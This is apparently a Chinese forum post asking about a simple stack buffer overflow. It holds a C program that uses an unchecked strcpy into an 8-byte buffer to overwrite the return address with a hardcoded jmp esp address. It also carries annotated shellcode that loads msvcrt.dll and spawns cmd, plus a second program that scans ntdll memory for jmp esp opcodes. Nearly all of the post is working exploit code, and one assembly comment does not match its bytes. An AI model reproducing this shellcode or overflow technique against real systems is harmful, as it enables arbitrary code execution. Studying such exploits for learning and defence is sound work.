一个关于q版缓冲区溢出的困惑

#include <stdio.h>
#include <string.h>
char name[] = 
"\x41\x41\x41\x41"  
"\x41\x41\x41\x41"  //output[8]
"\x41\x41\x41\x41"  //ebp
"\x1c\x80\xf5\x77"//0x77f5801c关于这个地址的由来参见下面获取jmp esp地址的代码
 "\x55"                   //push ebp
 "\x8B\xEC"               //mov ebp, esp
 "\x33\xC0"               //xor eax, eax
 "\x50"                   //push eax
 "\x50"                   //push eax
 "\x50"                   //push eax
 "\xC6\x45\xF5\x6D"       //mov byte ptr[ebp-0Bh], 6Dh
 "\xC6\x45\xF6\x73"       //mov byte ptr[ebp-0Ah], 73h
 "\xC6\x45\xF7\x76"       //mov byte ptr[ebp-09h], 76h
 "\xC6\x45\xF8\x63"       //mov byte ptr[ebp-08h], 63h
 "\xC6\x45\xF9\x72"       //mov byte ptr[ebp-07h], 72h
 "\xC6\x45\xFA\x74"       //mov byte ptr[ebp-06h], 74h
 "\xC6\x45\xFB\x2E"       //mov byte ptr[ebp-05h], 2Eh
 "\xC6\x45\xFC\x64"       //mov byte ptr[ebp-04h], 64h
 "\xC6\x45\xFD\x6C"       //mov byte ptr[ebp-03h], 6Ch
 "\xC6\x45\xFE\x6C"       //mov byte ptr[ebp-02h], 6Ch
 "\x8D\x45\xF5"           //lea eax, [ebp-0Bh]
 "\x50"                   //push eax
 "\xBA\x7B\x1D\x80\x7C"   //mov edx, 0x7C801D7Bh
 "\xFF\xD2"               //call edx
 "\x83\xC4\x0C"           //add esp, 0Ch
 "\x8B\xEC"               //mov ebp, esp
 "\x33\xC0"               //xor eax, eax
 "\x50"                   //push eax
 "\x50"                   //push eax
 "\x50"                   //push eax
 "\xC6\x45\xFC\x63"       //mov byte ptr[ebp-04h], 63h
 "\xC6\x45\xFD\x6D"       //mov byte ptr[ebp-03h], 6Dh
 "\xC6\x45\xFE\x64"       //mov byte ptr[ebp-02h], 64h
 "\x8D\x45\xFC"           //lea eax, [ebp-04h]
 "\x50"                   //push eax
 "\xB8\xC7\x93\xBF\x77"   //mov edx, 0x77BF93C7h
 "\xFF\xD0"               //call edx
 "\x83\xC4\x10"           //add esp, 10h
 "\x5D"                   //pop ebp      
 "\x6A\x00"               //push 0
 "\xB8\xc7\x93\xbf\x77"   //mov eax, 0x7c81cb12
 "\xFF\xD0"; 
int i;
void main()
{
char output[8];
strcpy(output, name);
for(i=0;i<8&&output[i];i++) 
{
printf("\\0x%x",output[i]);
}
}

#include<windows.h>
#include<iostream.h>
#include<tchar.h>
int main()
{
int nRetCode=0;
bool we_load_it=false;
HINSTANCE h;
TCHAR dllname[]=_T("ntdll");       
h=GetModuleHandle(dllname);
if(h==NULL)
  {h=LoadLibrary(dllname);
if(h==NULL)
 {cout<<"ERROR LOADING DLL:"<<dllname<<endl;
return 1;
}
we_load_it=true;
}
BYTE* ptr=(BYTE*)h;
bool done=false;
for(int y=0;!done;y++)
{try
{
if(ptr[y]==0xFF&&ptr[y+1]==0xE4)
{int pos=(int)ptr+y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;}}
catch(...)
{
cout<<"END OF"<<dllname<<"MEMORY REACHED"<<endl;
done=true;
}
}
if(we_load_it)
FreeLibrary(h);
return nRetCode;
}

"\x12\x45\xfa\x7f"